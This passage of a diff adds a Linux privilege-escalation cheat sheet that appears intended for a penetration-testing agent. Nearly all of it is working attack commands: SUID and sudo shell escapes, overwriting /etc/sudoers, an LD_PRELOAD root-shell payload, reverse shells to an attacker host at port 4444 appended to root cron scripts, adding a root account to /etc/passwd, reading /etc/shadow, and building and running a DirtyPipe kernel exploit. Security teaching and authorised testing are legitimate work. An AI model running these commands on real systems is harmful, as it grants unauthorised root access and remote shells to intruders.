echo 'hacker:$1$xyz$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd
|
|
69
|
+
# Generate hash: openssl passwd -1 password
|
|
70
|
+
|
|
71
|
+
# python:
|
|
72
|
+
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
|
|
73
|
+
|
|
74
|
+
# awk:
|
|
75
|
+
awk 'BEGIN {system("/bin/sh -p")}'
|
|
76
|
+
|
|
77
|
+
# less/more:
|
|
78
|
+
less /etc/passwd → !/bin/sh
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## Sudo Misconfigurations
|
|
83
|
+
|
|
84
|
+
# Check sudo permissions:
|
|
85
|
+
sudo -l
|
|
86
|
+
|
|
87
|
+
# Common exploitable sudo rules:
|
|
88
|
+
|
|
89
|
+
# ALL=(ALL) NOPASSWD: /usr/bin/find
|
|
90
|
+
sudo find / -exec /bin/sh \; -quit
|
|
91
|
+
|
|
92
|
+
# ALL=(ALL) NOPASSWD: /usr/bin/vim
|
|
93
|
+
sudo vim -c ':!/bin/bash'
|
|
94
|
+
|
|
95
|
+
# ALL=(ALL) NOPASSWD: /usr/bin/python3
|
|
96
|
+
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
|
|
97
|
+
|
|
98
|
+
# ALL=(ALL) NOPASSWD: /usr/bin/less
|
|
99
|
+
sudo less /etc/passwd → !bash
|
|
100
|
+
|
|
101
|
+
# ALL=(ALL) NOPASSWD: /bin/cp
|
|
102
|
+
# Overwrite /etc/sudoers:
|
|
103
|
+
echo "ALL ALL=(ALL) NOPASSWD: ALL" | sudo cp /dev/stdin /etc/sudoers
|
|
104
|
+
|
|
105
|
+
# ALL=(user) NOPASSWD: /usr/bin/apt
|
|
106
|
+
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
|
|
107
|
+
|
|
108
|
+
# LD_PRELOAD bypass (if env_keep += LD_PRELOAD in /etc/sudoers):
|
|
109
|
+
# tools/priv_ld_preload.c:
|
|
110
|
+
cat > /tmp/shell.c << 'EOF'
|
|
111
|
+
#include <stdio.h>
|
|
112
|
+
#include <sys/types.h>
|
|
113
|
+
#include <stdlib.h>
|
|
114
|
+
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash"); }
|
|
115
|
+
EOF
|
|
116
|
+
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
|
|
117
|
+
sudo LD_PRELOAD=/tmp/shell.so <any_allowed_command>
|
|
118
|
+
|
|
119
|
+
---
|
|
120
|
+
|
|
121
|
+
## Writable Cron Jobs
|
|
122
|
+
|
|
123
|
+
# List cron jobs:
|
|
124
|
+
cat /etc/crontab
|
|
125
|
+
ls -la /etc/cron.*
|
|
126
|
+
crontab -l # Current user cron
|
|
127
|
+
cat /var/spool/cron/crontabs/*
|
|
128
|
+
|
|
129
|
+
# Find writable cron scripts:
|
|
130
|
+
find /etc/cron* -writable 2>/dev/null
|
|
131
|
+
find /var/spool/cron -writable 2>/dev/null
|
|
132
|
+
|
|
133
|
+
# If root cron runs /opt/backup.sh and it's writable:
|
|
134
|
+
echo "bash -i >& /dev/tcp/<attacker>/4444 0>&1" >> /opt/backup.sh
|
|
135
|
+
chmod +x /opt/backup.sh
|
|
136
|
+
|
|
137
|
+
# Writable PATH directory in cron (PATH hijacking):
|
|
138
|
+
# crontab has: PATH=/home/user:/usr/bin:/bin
|
|
139
|
+
# Create malicious binary in /home/user/ with same name as cron command:
|
|
140
|
+
echo '#!/bin/bash\nbash -i >& /dev/tcp/<attacker>/4444 0>&1' > /home/user/backup
|
|
141
|
+
chmod +x /home/user/backup
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
## Linux Capabilities
|
|
146
|
+
|
|
147
|
+
Capabilities give processes specific root powers without full root:
|
|
148
|
+
|
|
149
|
+
# Find capabilities:
|
|
150
|
+
getcap -r / 2>/dev/null
|
|
151
|
+
|
|
152
|
+
# Common exploitable capabilities:
|
|
153
|
+
# cap_setuid = can change UID to 0 (root)
|
|
154
|
+
# cap_dac_override = bypass file read/write restrictions
|
|
155
|
+
|
|
156
|
+
# python3 cap_setuid:
|
|
157
|
+
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
|
|
158
|
+
|
|
159
|
+
# perl cap_setuid:
|
|
160
|
+
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
|
|
161
|
+
|
|
162
|
+
# openssl cap_read (reads any file):
|
|
163
|
+
openssl enc -in /etc/shadow
|
|
164
|
+
|
|
165
|
+
---
|
|
166
|
+
|
|
167
|
+
## Writable /etc/passwd
|
|
168
|
+
|
|
169
|
+
If /etc/passwd is world-writable:
|
|
170
|
+
|
|
171
|
+
# Add root user with known password:
|
|
172
|
+
# Generate password hash:
|
|
173
|
+
openssl passwd -1 "hacker123" # MD5 hash
|
|
174
|
+
# Append to /etc/passwd:
|
|
175
|
+
echo 'hacker:$1$xyz$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
|
|
176
|
+
su hacker # enter "hacker123"
|
|
177
|
+
|
|
178
|
+
---
|
|
179
|
+
|
|
180
|
+
## PATH Hijacking
|
|
181
|
+
|
|
182
|
+
If a SUID binary calls external commands without full path:
|
|
183
|
+
|
|
184
|
+
# Check what commands SUID binary calls:
|
|
185
|
+
strings /usr/bin/vulnerable_suid | grep -v "^/"
|
|
186
|
+
# If calls "service" without full path:
|
|
187
|
+
echo '/bin/bash -p' > /tmp/service
|
|
188
|
+
chmod +x /tmp/service
|
|
189
|
+
export PATH=/tmp:$PATH
|
|
190
|
+
/usr/bin/vulnerable_suid # runs /tmp/service as root
|
|
191
|
+
|
|
192
|
+
---
|
|
193
|
+
|
|
194
|
+
## Kernel Exploits
|
|
195
|
+
|
|
196
|
+
# Get kernel version:
|
|
197
|
+
uname -r
|
|
198
|
+
uname -a
|
|
199
|
+
|
|
200
|
+
# Search for exploits:
|
|
201
|
+
linux-exploit-suggester.sh -k $(uname -r)
|
|
202
|
+
web_search("$(uname -r) local privilege escalation exploit")
|
|
203
|
+
|
|
204
|
+
# Common exploits:
|
|
205
|
+
# CVE-2021-4034 — PwnKit (polkit pkexec) — affects most Linux distros
|
|
206
|
+
# CVE-2022-0847 — Dirty Pipe (Linux 5.8-5.16.11)
|
|
207
|
+
# CVE-2021-3493 — Ubuntu OverlayFS
|
|
208
|
+
# CVE-2016-5195 — Dirty COW (Linux 2.6.22-4.8.3)
|
|
209
|
+
|
|
210
|
+
# DirtyPipe check:
|
|
211
|
+
uname -r # 5.8.0 - 5.16.11 = vulnerable
|
|
212
|
+
# Exploit: git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits /home/pentester/tools/dirtypipe
|
|
213
|
+
gcc -o /home/pentester/tools/dirtypipe/exploit1 /home/pentester/tools/dirtypipe/exploit-1.c
|
|
214
|
+
/home/pentester/tools/dirtypipe/exploit1
|
|
215
|
+
|
|
216
|
+
---
|
|
217
|
+
|
|
218
|
+
## NFS No_Root_Squash
|
|
219
|
+
|
|
220
|
+
# Check NFS exports:
|
|
221
|
+
cat /etc/exports
|
|
222
|
+
# no_root_squash means mounting remotely as root keeps root privileges
|
|
223
|
+
|
|
224
|
+
# From attacker machine:
|
|
225
|
+
showmount -e <target>
|
|
226
|
+
sudo mount -t nfs <target>:/share /mnt/nfs -nolock
|
|
227
|
+
cp /bin/bash /mnt/nfs/bash
|
|
228
|
+
chmod +s /mnt/nfs/bash
|
|
229
|
+
# On target:
|
|
230
|
+
/tmp/nfsmount/bash -p # → root shell
|
|
231
|
+
|
|
232
|
+
---
|
|
233
|
+
|
|
234
|
+
## Pro Tips
|
|
235
|
+
|
|
236
|
+
1. **Always run linpeas first** — it finds 90% of misconfigurations automatically
|
|
237
|
+
2. `sudo -l` first — `NOPASSWD` sudo rules are the easiest privesc path
|
|
238
|
+
3. GTFOBins (https://gtfobins.github.io/) — lists exploitation methods for every SUID binary
|
|
239
|
+
4. Writable cron scripts running as root = guaranteed privesc if cron runs frequently
|
|
240
|
+
5. Capabilities check (`getcap -r /`) finds non-obvious privilege paths missed by linpeas
|
|
241
|
+
6. PwnKit (CVE-2021-4034) affects ALL Linux distros with polkit before Jan 2022 — check pkexec
|
|
242
|
+
|
|
243
|
+
## Summary
|
|
244
|
+
|
|
245
|
+
Linux privesc checklist:
|
|
246
|
+
1. `sudo -l` → NOPASSWD rules
|
|
247
|
+
2. `find / -perm -4000` → SUID binaries → GTFOBins
|
|
248
|
+
3. `cat /etc/crontab` → writable scripts in root crons
|
|
249
|
+
4. `getcap -r /` → dangerous capabilities
|
|
250
|
+
5. `uname -r` → kernel exploits (PwnKit, DirtyPipe)
|
|
251
|
+
6. `cat /etc/exports` → NFS no_root_squash
|
|
252
|
+
7. Run linpeas for comprehensive sweep
|